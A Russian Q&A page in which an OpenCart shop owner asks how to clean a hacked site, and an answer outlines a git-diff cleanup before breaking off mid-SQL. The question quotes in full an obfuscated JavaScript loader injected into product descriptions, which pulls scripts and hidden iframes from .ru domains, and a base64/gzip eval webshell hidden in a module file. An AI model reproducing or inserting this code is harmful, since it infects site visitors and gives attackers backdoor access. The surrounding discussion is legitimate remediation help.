Страницы

Поиск по вопросам

вторник, 31 декабря 2019 г.

Как очистить сайт и базу данных от вирусов

#mysql #opencart #вирусы


Обнаружена запись в БД MySQL в Интернет-магазине OpenCart, которая выводит баннер
с рекламой на странице продукта:

ncnjm3le.ru

http://3oaq3lgf23.ru:443

http://25haich4342.ru:443

http://gyh1lh20owj.ru:443

Как правильно очистить таблицу БД?





обнаружен скрытый код в поле DESCRIPTION (описании товара):

ASUS<script>window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="24108",o=function(e){var
t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return
t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof
n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var
t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return
t},d=function(){return "comp1.i-studio.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return
p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var
i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var
t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var
r=o("a2519043306");t=r?r:e[0],s(t)};f()}();</script><iframe id="a1996667054"
src="https://ncnjm3le.ru/f2.html?a=24108" style="display: none;"></iframe><iframe
id="a754394637" src="https://3oaq3lgf23.ru/u.html?a=24108" style="display:
none;"></iframe>.</p>

<script></script><script></script><script></script><script></script><script></script><script></script><script></script><script></script>
<script></script>






в phpMyAdmin Очистил поле description во всех товарах Проверил заново все таблицы
на наличие скрытых ссылок, но исходящие соединения по прежнему есть:***

#   Result  Protocol    Host    URL Body    Caching Content-Type    Process Comments
   Custom  
834 502 HTTP    Tunnel to   ncnjm3le.ru:443 530 no-cache, must-revalidate   text/html;
charset=UTF-8    chrome:1220         
835 502 HTTP    Tunnel to   3oaq3lgf23.ru:443   530 no-cache, must-revalidate   text/html;
charset=UTF-8    chrome:1220         
836 502 HTTP    Tunnel to   ncnjm3le.ru:443 530 no-cache, must-revalidate   text/html;
charset=UTF-8    chrome:1220         
837 502 HTTP    Tunnel to   3oaq3lgf23.ru:443   530 no-cache, must-revalidate   text/html;
charset=UTF-8    chrome:1220         
838 502 HTTP    Tunnel to   ncnjm3le.ru:443 530 no-cache, must-revalidate   text/html;
charset=UTF-8    chrome:1220         
839 502 HTTP    Tunnel to   ncnjm3le.ru:443 530 no-cache, must-revalidate   text/html;
charset=UTF-8    chrome:1220         
840 502 HTTP    Tunnel to   3oaq3lgf23.ru:443   530 no-cache, must-revalidate   text/html;
charset=UTF-8    chrome:1220         
841 502 HTTP    Tunnel to   3oaq3lgf23.ru:443   530 no-cache, must-revalidate   text/html;
charset=UTF-8    chrome:1220         
842 200 HTTP    Tunnel to   yastatic.net:443    0           chrome:1220         
843 200 HTTP    Tunnel to   25haich4342.ru:443  0           chrome:1220         
844 200 HTTP    Tunnel to   25haich4342.ru:443  0           chrome:1220         
845 200 HTTP    Tunnel to   gyh1lh20owj.ru:443  0           chrome:1220         
846 200 HTTP    Tunnel to   gyh1lh20owj.ru:443  0           chrome:1220         
847 502 HTTP    9nktu1yr.ru /stat?a=24108&t=p4&s=1&r=0.38806721723339566    700 no-cache,
must-revalidate   text/html; charset=UTF-8    chrome:1220         
848 304 HTTPS   yastatic.net    /morda-logo/i/bender/logo.png?1&ad_type=test    0
  max-age=315360000; Expires: Thu, 31 Dec 2037 23:55:55 GMT       chrome:1220         
849 200 HTTPS   gyh1lh20owj.ru  /u.html?a=24108 2 281   max-age=14400; Expires: Sun,
29 May 2016 23:42:18 GMT   text/html; charset=utf-8    chrome:1220         
850 200 HTTPS   25haich4342.ru  /f2.html?a=24108    2 280   max-age=14400; Expires:
Sun, 29 May 2016 23:42:27 GMT   text/html; charset=utf-8    chrome:1220         


Как и где искать?

Скрытый код найден в файле: response.php (/system/library/) строка 67, установлен
с batch_editor_v022 (можно скачать оригинал :) 

http://ruopencart.com/moduli/opencart/31-batch-editor-paketnoe-redaktirovanie-tovarov-v022.html


virustotal.com обнаружил CPRF84F.Webshell


  <-- //
                                                                                
                                                                                  
                                                                                  
                                                                                  
                                                                                  
                                                                                  
                                                                                  
                                                                                  
                                                                                  
                                                                                  
                                                                                $output_page
= eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO')));
  eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY=')));
  eval(gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh')));
  eval(gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V')));
  -->

    


Ответы

Ответ 1



приблизительный алгоритм излечения: берешь старый здоровый бэкап сайта от провайдера, берешь текущую версию сайта скачиваешь старый бэкап в папку, скачиваешь гит. git init . && git add . && git commit -m "master_clean" скачиваешь текущую версию кода, укладываешь ее в ту же папку, перезаписывая все измененные файлы. git checkout -b virus; git add . ; git commit -m "virus-init" git diff master находишь подозрительный код (ты его сразу узнаешь), удаляешь его отовсюду. загружаешь обратно на сервер. ставишь гит на сервер. комитишь. включаешь логи. меняешь ftp-пароли. короче, это не совсем просто, но примерно так и работает. основная проблема будет не в излечении, а в защите от вторжения (если вторглись через уязвимости, а не через твои собственные стыренные пароли от файлзиллы и т.д.), т.е. тебе придется понять, откуда произошел взлом - через какой-нибудь левый плагин или через уязвимость в основном движке сайта и т.д. В приницпе, плагины ты можешь проверить ручками, если они у тебя есть - поищи google://название плагина+exploit в гугле у моих знакомых была такая ситуация, к счастью, вторжение было через идиота-админа, поэтому помогла зачистка кода и смена ftp-пароля базу данных, конечно, тоже надо зачистить ( находишь: "SELECT id FROM someTable WHERE someField like '%